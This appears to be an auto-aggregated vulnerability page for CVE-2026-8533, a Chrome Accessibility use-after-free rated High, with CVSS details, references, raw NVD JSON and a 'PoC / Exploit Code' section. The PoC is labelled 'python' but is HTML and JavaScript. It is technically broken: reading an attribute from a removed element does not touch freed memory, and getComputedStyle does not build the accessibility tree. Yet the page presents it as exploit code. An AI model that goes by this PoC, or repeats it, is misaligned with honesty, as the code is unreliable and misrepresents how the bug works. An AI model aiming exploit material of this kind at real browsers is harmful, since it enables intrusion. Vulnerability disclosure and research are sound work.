CVE-2026-8533

Description

Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Proof of Concept for CVE-2026-8533
  This HTML page attempts to trigger a Use-After-Free in Chrome Accessibility.
  Note: Actual exploitation requires a specific Chrome build and heap grooming.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8533 PoC</title>
</head>
<body>
    <div id="target" role="button" aria-label="Vulnerable Element">Click Me</div>
    <script>
        // Attempt to trigger UAF in Accessibility component
        const element = document.getElementById('target');
        
        // Force accessibility tree computation
        window.getComputedStyle(element);

        // Remove the element, potentially freeing the internal AX object
        element.remove();

        // Attempt to access or manipulate the freed object via specific aria operations
        // This step is highly dependent on the internal Chrome implementation
        try {
            // Simulate operation that might access freed memory
            let trigger = element.getAttribute('aria-label'); 
            console.log("Element accessed after remove: " + trigger);
        } catch (e) {
            console.log("Exception caught: " + e);
        }

        // Further heap grooming would be required here for reliable exploitation
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8533
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8533
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8533/
[4] VulDB https://vuldb.com/cve/CVE-2026-8533
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/495247950

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8533", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.137", "lastModified": "2026-05-14T22:16:47.413", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495247950", "source": "[email protected]"}]}}